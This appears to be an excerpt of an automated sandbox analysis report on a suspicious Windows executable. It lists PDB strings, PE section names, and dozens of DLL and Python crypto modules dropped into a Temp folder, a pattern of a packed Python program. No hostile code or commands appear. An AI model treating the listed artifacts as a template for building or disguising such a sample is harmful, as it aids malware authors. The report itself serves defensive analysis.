Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256297072.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255478477.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257020234.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256078416.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257308921.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_hashlib.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338451913.00007FFD15406000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256464824.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256260543.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.258095070.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_lzma.pdbNN source: 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.337643719.00007FFD0444C000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256580154.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256915427.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256624298.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255782102.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257403780.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256034149.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255987368.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257242821.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmp
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257593904.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: 4Vp6Xc8SFr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 4Vp6Xc8SFr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 4Vp6Xc8SFr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 4Vp6Xc8SFr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 4Vp6Xc8SFr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: 4Vp6Xc8SFr.exeStatic PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.drStatic PE information: section name: .00cfg
Source: libssl-1_1.dll.0.drStatic PE information: section name: .00cfg
Source: python310.dll.0.drStatic PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
Source: _raw_cfb.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_ctr.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_des.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_des3.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_ecb.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_eksblowfish.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_ocb.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_ofb.pyd.0.drStatic PE information: section name: _RDATA
Source: _BLAKE2b.pyd.0.drStatic PE information: section name: _RDATA
Source: _BLAKE2s.pyd.0.drStatic PE information: section name: _RDATA
Source: _ARC4.pyd.0.drStatic PE information: section name: _RDATA
Source: _Salsa20.pyd.0.drStatic PE information: section name: _RDATA
Source: _chacha20.pyd.0.drStatic PE information: section name: _RDATA
Source: _pkcs1_decode.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_aes.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_aesni.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_arc2.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_blowfish.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_cast.pyd.0.drStatic PE information: section name: _RDATA
Source: _raw_cbc.pyd.0.drStatic PE information: section name: _RDATA
Source: _MD2.pyd.0.drStatic PE information: section name: _RDATA
Source: _MD4.pyd.0.drStatic PE information: section name: _RDATA
Source: _MD5.pyd.0.drStatic PE information: section name: _RDATA
Source: _RIPEMD160.pyd.0.drStatic PE information: section name: _RDATA
Source: _SHA1.pyd.0.drStatic PE information: section name: _RDATA
Source: _SHA224.pyd.0.drStatic PE information: section name: _RDATA
Source: _SHA256.pyd.0.drStatic PE information: section name: _RDATA
Source: _SHA384.pyd.0.drStatic PE information: section name: _RDATA
Source: _SHA512.pyd.0.drStatic PE information: section name: _RDATA
Source: _ghash_clmul.pyd.0.drStatic PE information: section name: _RDATA
Source: _ghash_portable.pyd.0.drStatic PE information: section name: _RDATA
Source: _keccak.pyd.0.drStatic PE information: section name: _RDATA
Source: _poly1305.pyd.0.drStatic PE information: section name: _RDATA
Source: _modexp.pyd.0.drStatic PE information: section name: _RDATA
Source: _scrypt.pyd.0.drStatic PE information: section name: _RDATA
Source: _ec_ws.pyd.0.drStatic PE information: section name: _RDATA
Source: _ed25519.pyd.0.drStatic PE information: section name: _RDATA
Source: _ed448.pyd.0.drStatic PE information: section name: _RDATA
Source: _x25519.pyd.0.drStatic PE information: section name: _RDATA
Source: _cpuid_c.pyd.0.drStatic PE information: section name: _RDATA
Source: _strxor.pyd.0.drStatic PE information: section name: _RDATA
Source: api-ms-win-crt-utility-l1-1-0.dll.0.drStatic PE information: 0xF1D9C1E0 [Wed Jul 30 17:33:20 2098 UTC]
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\libssl-1_1.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-console-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_chacha20.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-processthreads-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-runtime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_keccak.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_RIPEMD160.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_ghash_clmul.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-process-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_queue.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ecb.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-timezone-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\sqlite3.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cbc.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\libcrypto-1_1.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Util\_strxor.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-file-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Util\_cpuid_c.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\select.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\VCRUNTIME140.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-libraryloader-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_MD4.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-file-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-namedpipe-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_x25519.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-profile-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_BLAKE2s.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-stdio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-convert-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-handle-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-utility-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_aes.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-locale-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_MD2.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cfb.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ofb.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ocb.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\unicodedata.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_arc2.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-debug-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_ctypes.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-sysinfo-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Math\_modexp.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-math-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cast.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_sqlite3.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\libffi-7.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_des3.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_ARC4.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_ssl.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_poly1305.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Protocol\_scrypt.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-errorhandling-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-synch-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-localization-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_ed448.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-file-l2-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-conio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_lzma.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-rtlsupport-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA256.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_hashlib.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-memory-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-processthreads-l1-1-1.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-interlocked-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-time-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_aesni.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-filesystem-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_ghash_portable.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_Salsa20.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_bz2.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA384.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_MD5.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_des.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_BLAKE2b.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-processenvironment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_decimal.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-environment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ctr.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA512.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-synch-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\python310.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_ed25519.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\ucrtbase.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_ec_ws.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA1.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA224.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-datetime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-util-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202\_socket.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8D55B0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00007FF7DA8D55B0
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-errorhandling-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-console-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-synch-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_chacha20.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-localization-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-processthreads-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_ed448.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-runtime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_keccak.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-file-l2-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-conio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_RIPEMD160.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-process-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-rtlsupport-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-processthreads-l1-1-1.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-memory-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-timezone-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-interlocked-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-time-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-filesystem-l1-1-0.dllJump to dropped file
